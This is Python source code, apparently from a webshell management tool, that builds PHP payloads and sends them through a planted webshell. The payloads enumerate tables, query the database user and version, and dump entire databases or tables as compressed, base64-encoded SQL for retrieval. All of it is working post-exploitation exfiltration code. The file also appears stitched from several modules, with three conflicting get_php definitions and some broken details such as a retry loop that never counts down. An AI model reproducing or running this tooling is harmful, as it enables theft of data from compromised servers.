def get_table_row_number(database, table): connect_type = gget("db_connect_type", "webshell") if (connect_type == "pdo"): php = """%s if(!$con){ die("Error : connect to sql failed..."); } $content=""; $table="%s"; $table_list = $con->query("select count(*) from $table;"); $result = $table_list->fetchAll(); echo $result[0][0]; """ % (get_db_connect_code(dbname=database), table) elif (connect_type == "mysqli"): php = """%s if(!$con){ die("Error : connect to sql failed..."); } $table="%s"; $table_list = mysqli_query($con,"select count(*) from $table;"); $result = mysqli_fetch_all($table_list); echo $result[0][0]; """ % (get_db_connect_code(dbname=database), table) else: php = "" res = send(php) try: return int(res.r_text.strip()) except ValueError: return -1
def get_table_name_php(database): connect_type = gget("db_connect_type", "webshell") if (connect_type == "pdo"): return """%s if(!$con){ die("Error : connect to sql failed..."); } $content=""; $table_list = $con->query("show tables"); while($table_data = $table_list->fetch(PDO::FETCH_BOTH)){ $content .= $table_data[0]."\\n"; } echo $content; """ % (get_db_connect_code(dbname=database)) elif (connect_type == "mysqli"): return """%s if(!$con){ die("Error : connect to sql failed..."); } $content=""; $table_list = mysqli_query($con,"show tables"); while($table_data = mysqli_fetch_array($table_list)){ $content .= $table_data[0]."\\n"; } echo $content; """ % (get_db_connect_code(dbname=database)) else: return ""
def get_php(database): connect_type = gget("db_connect_type", "webshell") if (connect_type == "mysqli"): return """%s if (!$con){die("Connect error: ".mysqli_connect_error());} """ % get_db_connect_code(gget("db_host", "webshell"), gget("db_user", "webshell"), gget("db_password", "webshell"), database, gget("db_port", "webshell")) elif (connect_type == "pdo"): return """try{%s} catch (PDOException $e) {die("Connect error: ".$e->getMessage());} """ % get_db_connect_code(gget("db_host", "webshell"), gget("db_user", "webshell"), gget("db_password", "webshell"), database, gget("db_port", "webshell"))
def get_data(database, table, encoding, offset, blocksize): connect_type = gget("db_connect_type", "webshell") if (connect_type == "pdo"): php = """%s if(!$con){ die("Error : connect to sql failed..."); } $table_name="%s"; $offset=%s; $size=%s; $content = ""; $table_records = $con->query("select * from $table_name limit $offset,$size;"); while($record = $table_records->fetch(PDO::FETCH_ASSOC)){ $vals = "'".join("','",array_map('addslashes',array_values($record)))."'"; $content .= "insert into `$table_name` values($vals);\\r\\n"; } echo base64_encode(gzdeflate($content)); """ % (get_db_connect_code(dbname=database), table, offset, blocksize) elif (connect_type == "mysqli"): php = """%s if(!$con){ die("Error : connect to sql failed..."); } $table_name="%s"; $offset=%s; $size=%s; $content = ""; $table_records = $con->query("select * from $table_name limit $offset,$size;"); while($record = mysqli_fetch_assoc($table_records)){ $vals = "'".join("','",array_map('mysql_real_escape_string',array_values($record)))."'"; $content .= "insert into `$table_name` values($vals);\\r\\n"; } echo base64_encode(gzdeflate($content)); """ % (get_db_connect_code(dbname=database), table, offset, blocksize) else: php = "" retry_time = 5 text = None while retry_time and not text: res = send(php) try: text = gzinflate(b64decode(res.r_content.strip())) except Exception: text = None return text if text else ""
def get_table_construct(database, table, encoding): connect_type = gget("db_connect_type", "webshell") if (connect_type == "pdo"): php = """%s if(!$con){ die("Error : connect to sql failed..."); } $table_name="%s"; $table_created_data = $con->query("show create table `$table_name`"); $table_created_data_array = $table_created_data->fetch(PDO::FETCH_BOTH); $struct=str_replace("NOT NULL", "", $table_created_data_array['Create Table']); $content .= "DROP TABLE IF EXISTS `$table_name`;\\r\\n".$struct.";\\r\\n\\r\\n"; echo base64_encode(gzdeflate($content)); """ % (get_db_connect_code(dbname=database), table) elif (connect_type == "mysqli"): php = """%s if(!$con){ die("Error : connect to sql failed..."); } $table_name="%s"; $table_created_data = mysqli_query($con,"show create table `$table_name`"); $table_created_data_array = mysqli_fetch_array($table_created_data); $struct=str_replace("NOT NULL", "", $table_created_data_array['Create Table']); $content .= "DROP TABLE IF EXISTS `$table_name`;\\r\\n".$struct.";\\r\\n\\r\\n"; echo base64_encode(gzdeflate($content)); """ % (get_db_connect_code(dbname=database), table) else: php = "" retry_time = 5 text = None while retry_time and not text: res = send(php) try: text = gzinflate(b64decode(res.r_content.strip())) except Exception: text = None return text if text else ""
def get_php(host, username, password, dbname, port): connect_type = gget("db_connect_type", "webshell") connect_code = get_db_connect_code(host, username, password, dbname, port) dbms = gget("db_dbms", "webshell") select_user_code = "" select_version_code = "" if (dbms == "mysql"): select_user_code = "SELECT CURRENT_USER();" select_version_code = "SELECT @@VERSION;" elif (dbms == "mssql"): select_user_code = "SELECT CURRENT_USER;" select_version_code = "SELECT @@VERSION;" elif (dbms == "access"): select_user_code = "SELECT CurrentUser();" select_version_code = "SELECT @@VERSION;" if (connect_type == "pdo"): return """try{%s $r=$con->query('%s'); $rr=$r->fetch();echo $rr[0]."\\n"; $r=$con->query('%s'); $rr=$r->fetch();echo $rr[0]."\\n"; } catch (PDOException $e){ die("Connect error: ". $e->getMessage()); }""" % (connect_code, select_user_code, select_version_code) elif (connect_type == "mysqli"): return """%s if (!$con) { die("Connect error: ".mysqli_connect_error()); } else{ $r=$con->query('%s'); $rr=$r->fetch_all(MYSQLI_NUM);echo $rr[0][0]."\\n";$r->close(); $r=$con->query('%s'); $rr=$r->fetch_all(MYSQLI_NUM);echo $rr[0][0]."\\n";$r->close(); $con->close(); }""" % (connect_code, select_user_code, select_version_code) else: return ""
def get_php(database, table, encoding): connect_type = gget("db_connect_type", "webshell") if (connect_type == "pdo"): return """set_time_limit(0); ignore_user_abort(1); function Tabledump($con,$table_name){ $content=""; $table_created_data = $con->query("show create table `$table_name`"); $table_created_data_array = $table_created_data->fetch(PDO::FETCH_BOTH); $content .= "DROP TABLE IF EXISTS `$table_name`;\\r\\n".$table_created_data_array['Create Table'].";\\r\\n\\r\\n"; $table_records = $con->query("select * from `$table_name`"); while($record = $table_records->fetch(PDO::FETCH_ASSOC)){ $keys = "`".join('`,`',array_map('addslashes',array_keys($record)))."`"; $vals = "'".join("','",array_map('addslashes',array_values($record)))."'"; $content .= "insert into `$table_name`($keys) values($vals);\\r\\n"; } return $content; } function Sqldump(){ $content = "DROP DATABASE IF EXISTS `%s`;\\r\\nCREATE DATABASE IF NOT EXISTS `%s` DEFAULT CHARACTER SET %s;\\r\\nuse `%s`;\\r\\n"; %s if(!$con){ die("Error : connect to sql failed..."); } $con->query("set names %s"); $target_table="%s"; if (empty($target_table)){ $table_list = $con->query("show tables"); while($table_data = $table_list->fetch(PDO::FETCH_BOTH)){ $content .= Tabledump($con,$table_data[0])."\\r\\n"; } } else { $content .= Tabledump($con,$target_table)."\\r\\n"; } echo base64_encode(gzdeflate($content)); } Sqldump();""" % (database, database, encoding, database, get_db_connect_code(dbname=database), encoding, table) elif (connect_type == "mysqli"): return """set_time_limit(0); ignore_user_abort(1); function Tabledump($con,$table_name){ $content=""; $table_created_data = mysqli_query($con,"show create table `$table_name`"); $table_created_data_array = mysqli_fetch_array($table_created_data); $struct=str_replace("NOT NULL", "", $table_created_data_array['Create Table']); $content .= "DROP TABLE IF EXISTS `$table_name`;\\r\\n".$struct.";\\r\\n\\r\\n"; $table_records = mysqli_query($con,"select * from `$table_name`"); while($record = mysqli_fetch_assoc($table_records)){ $vals = "'".join("','",array_map('mysql_real_escape_string',array_values($record)))."'"; $content .= "insert into `$table_name` values($vals);\\r\\n"; } return $content; } function Sqldump(){ $content = "DROP DATABASE IF EXISTS `%s`;\\r\\nCREATE DATABASE IF NOT EXISTS `%s` DEFAULT CHARACTER SET %s;\\r\\nuse `%s`;\\r\\n"; %s if(!$con){ die("Error : connect to mysql failed..."); } mysqli_query($con,"set names %s"); $target_table="%s"; if (empty($target_table)){ $table_list = mysqli_query($con,"show tables"); while($table_data = mysqli_fetch_array($table_list)){ $content .= Tabledump($con,$table_data[0])."\\r\\n"; } } else { $content .= Tabledump($con,$target_table)."\\r\\n"; } echo base64_encode(gzdeflate($content)); } Sqldump();""" % (database, database, encoding, database, get_db_connect_code(dbname=database), encoding, table)